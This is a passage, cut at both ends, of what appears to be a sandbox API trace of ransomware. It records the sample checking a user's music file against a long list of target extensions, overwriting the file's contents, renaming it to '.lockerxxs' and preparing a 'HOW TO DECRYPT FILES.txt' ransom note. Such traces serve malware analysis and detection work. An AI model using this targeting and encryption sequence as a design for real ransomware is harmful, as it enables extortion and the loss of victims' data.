(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.qif") returned 0 [0090.465] lstrlenA (lpString="*.qif") returned 5 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.mye") returned 0 [0090.465] lstrlenA (lpString="*.mye") returned 5 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.mbox") returned 0 [0090.465] lstrlenA (lpString="*.mbox") returned 6 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.eml") returned 0 [0090.465] lstrlenA (lpString="*.eml") returned 5 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.pst") returned 0 [0090.465] lstrlenA (lpString="*.pst") returned 5 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.ost") returned 0 [0090.465] lstrlenA (lpString="*.ost") returned 5 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.idx") returned 0 [0090.465] lstrlenA (lpString="*.idx") returned 5 [0090.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.dbx") returned 0 [0090.466] lstrlenA (lpString="*.dbx") returned 5 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.sql") returned 0 [0090.466] lstrlenA (lpString="*.sql") returned 5 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.mdb") returned 0 [0090.466] lstrlenA (lpString="*.mdb") returned 5 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.fdb") returned 0 [0090.466] lstrlenA (lpString="*.fdb") returned 5 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.wab") returned 0 [0090.466] lstrlenA (lpString="*.wab") returned 5 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.dat") returned 0 [0090.466] lstrlenA (lpString="*.dat") returned 5 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.txt") returned 0 [0090.466] lstrlenA (lpString="*.txt") returned 5 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.jpeg") returned 0 [0090.466] lstrlenA (lpString="*.jpeg") returned 6 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.jpg") returned 0 [0090.466] lstrlenA (lpString="*.jpg") returned 5 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.png") returned 0 [0090.466] lstrlenA (lpString="*.png") returned 5 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.php") returned 0 [0090.466] lstrlenA (lpString="*.php") returned 5 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.cs") returned 0 [0090.466] lstrlenA (lpString="*.cs") returned 4 [0090.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.cpp") returned 0 [0090.467] lstrlenA (lpString="*.cpp") returned 5 [0090.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.rar") returned 0 [0090.467] lstrlenA (lpString="*.rar") returned 5 [0090.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.zip") returned 0 [0090.467] lstrlenA (lpString="*.zip") returned 5 [0090.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.html") returned 0 [0090.467] lstrlenA (lpString="*.html") returned 6 [0090.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.htm") returned 0 [0090.467] lstrlenA (lpString="*.htm") returned 5 [0090.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.xlsx") returned 0 [0090.467] lstrlenA (lpString="*.xlsx") returned 6 [0090.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.xls") returned 0 [0090.467] lstrlenA (lpString="*.xls") returned 5 [0090.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.mp4") returned 0 [0090.467] lstrlenA (lpString="*.mp4") returned 5 [0090.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.ppt") returned 0 [0090.467] lstrlenA (lpString="*.ppt") returned 5 [0090.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.pptx") returned 0 [0090.467] lstrlenA (lpString="*.pptx") returned 6 [0090.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.doc") returned 0 [0090.467] lstrlenA (lpString="*.doc") returned 5 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.dot") returned 0 [0090.468] lstrlenA (lpString="*.dot") returned 5 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.docx") returned 0 [0090.468] lstrlenA (lpString="*.docx") returned 6 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.7z") returned 0 [0090.468] lstrlenA (lpString="*.7z") returned 4 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.tar") returned 0 [0090.468] lstrlenA (lpString="*.tar") returned 5 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.bz2") returned 0 [0090.468] lstrlenA (lpString="*.bz2") returned 5 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.gz") returned 0 [0090.468] lstrlenA (lpString="*.gz") returned 4 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.mkv") returned 0 [0090.468] lstrlenA (lpString="*.mkv") returned 5 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.eml") returned 0 [0090.468] lstrlenA (lpString="*.eml") returned 5 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.msg") returned 0 [0090.468] lstrlenA (lpString="*.msg") returned 5 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.edb") returned 0 [0090.468] lstrlenA (lpString="*.edb") returned 5 [0090.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.accdb") returned 0 [0090.469] lstrlenA (lpString="*.accdb") returned 7 [0090.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.odb") returned 0 [0090.469] lstrlenA (lpString="*.odb") returned 5 [0090.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.java") returned 0 [0090.469] lstrlenA (lpString="*.java") returned 6 [0090.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.asm") returned 0 [0090.469] lstrlenA (lpString="*.asm") returned 5 [0090.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.pfx") returned 0 [0090.469] lstrlenA (lpString="*.pfx") returned 5 [0090.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.pem") returned 0 [0090.469] lstrlenA (lpString="*.pem") returned 5 [0090.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.p12") returned 0 [0090.469] lstrlenA (lpString="*.p12") returned 5 [0090.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.gpg") returned 0 [0090.469] lstrlenA (lpString="*.gpg") returned 5 [0090.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.vsd") returned 0 [0090.469] lstrlenA (lpString="*.vsd") returned 5 [0090.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.odg") returned 0 [0090.469] lstrlenA (lpString="*.odg") returned 5 [0090.469] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.raw") returned 0 [0090.470] lstrlenA (lpString="*.raw") returned 5 [0090.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.nef") returned 0 [0090.470] lstrlenA (lpString="*.nef") returned 5 [0090.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.svg") returned 0 [0090.470] lstrlenA (lpString="*.svg") returned 5 [0090.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.psd") returned 0 [0090.470] lstrlenA (lpString="*.psd") returned 5 [0090.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.vmx") returned 0 [0090.470] lstrlenA (lpString="*.vmx") returned 5 [0090.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.vmdk") returned 0 [0090.470] lstrlenA (lpString="*.vmdk") returned 6 [0090.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.vdi") returned 0 [0090.470] lstrlenA (lpString="*.vdi") returned 5 [0090.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.lay6") returned 0 [0090.470] lstrlenA (lpString="*.lay6") returned 6 [0090.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.mpeg") returned 0 [0090.470] lstrlenA (lpString="*.mpeg") returned 6 [0090.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.djvu") returned 0 [0090.470] lstrlenA (lpString="*.djvu") returned 6 [0090.470] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.tiff") returned 0 [0090.471] lstrlenA (lpString="*.tiff") returned 6 [0090.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.backup") returned 0 [0090.471] lstrlenA (lpString="*.backup") returned 8 [0090.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.pdf") returned 0 [0090.471] lstrlenA (lpString="*.pdf") returned 5 [0090.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.cert") returned 0 [0090.471] lstrlenA (lpString="*.cert") returned 6 [0090.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.docm") returned 0 [0090.471] lstrlenA (lpString="*.docm") returned 6 [0090.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.xlsm") returned 0 [0090.471] lstrlenA (lpString="*.xlsm") returned 6 [0090.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.dwg") returned 0 [0090.471] lstrlenA (lpString="*.dwg") returned 5 [0090.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.nd") returned 0 [0090.471] lstrlenA (lpString="*.nd") returned 4 [0090.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.tlg") returned 0 [0090.471] lstrlenA (lpString="*.tlg") returned 5 [0090.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.lgb") returned 0 [0090.471] lstrlenA (lpString="*.lgb") returned 5 [0090.471] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.mov") returned 0 [0090.472] lstrlenA (lpString="*.mov") returned 5 [0090.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.xdw") returned 0 [0090.472] lstrlenA (lpString="*.xdw") returned 5 [0090.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.ods") returned 0 [0090.472] lstrlenA (lpString="*.ods") returned 5 [0090.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.wav") returned 0 [0090.472] lstrlenA (lpString="*.wav") returned 5 [0090.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.mp3") returned 0 [0090.472] lstrlenA (lpString="*.mp3") returned 5 [0090.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.aiff") returned 0 [0090.472] lstrlenA (lpString="*.aiff") returned 6 [0090.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.flac") returned 0 [0090.472] lstrlenA (lpString="*.flac") returned 6 [0090.472] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", pszSpec="*.m4a") returned 1 [0090.472] lstrlenA (lpString="*.m4a") returned 5 [0090.472] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a" [0090.472] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a" [0090.472] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a." [0090.472] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a.lockerxxs" [0090.472] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\2netu_4fhdoloj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.473] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3ef6 [0090.473] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x8286aa50, dwHighDateTime=0x1d5dbfd), lpLastAccessTime=0x407536*(dwLowDateTime=0x40688210, dwHighDateTime=0x1d5db5d), lpLastWriteTime=0x40753e*(dwLowDateTime=0x40688210, dwHighDateTime=0x1d5db5d)) returned 1 [0090.473] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.473] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3ed0, lpOverlapped=0x0) returned 1 [0090.475] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a") returned="2NetU_4fHDOlOj.m4a" [0090.475] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.475] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3ed0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3ed0, lpOverlapped=0x0) returned 1 [0090.476] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.476] CloseHandle (hObject=0x90) returned 1 [0090.476] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\2netu_4fhdoloj.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\2netu_4fhdoloj.m4a.lockerxxs")) returned 1 [0090.478] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecf5c40, ftCreationTime.dwHighDateTime=0x1d5e0bf, ftLastAccessTime.dwLowDateTime=0xf24adca0, ftLastAccessTime.dwHighDateTime=0x1d5e1aa, ftLastWriteTime.dwLowDateTime=0xf24adca0, ftLastWriteTime.dwHighDateTime=0x1d5e1aa, nFileSizeHigh=0x0, nFileSizeLow=0x696f, dwReserved0=0x43000340, dwReserved1=0x4e00c4, cFileName="4e0x1iOgQKh9y3MivT.mp3", cAlternateFileName="4E0X1I~1.MP3")) returned 1 [0090.478] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.478] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="4e0x1iOgQKh9y3MivT.mp3") returned 1 [0090.478] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="4e0x1iOgQKh9y3MivT.mp3") returned 1 [0090.478] lstrcmpiA (lpString1="", lpString2="4e0x1iOgQKh9y3MivT.mp3") returned -1 [0090.478] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\2NetU_4fHDOlOj.m4a") returned="2NetU_4fHDOlOj.m4a" [0090.478] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" [0090.478] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\") returned="" [0090.478] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" [0090.478] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SmkSdLqm\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\smksdlqm\\how to decrypt files.txt")) returned 0x20 [0090.478] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS 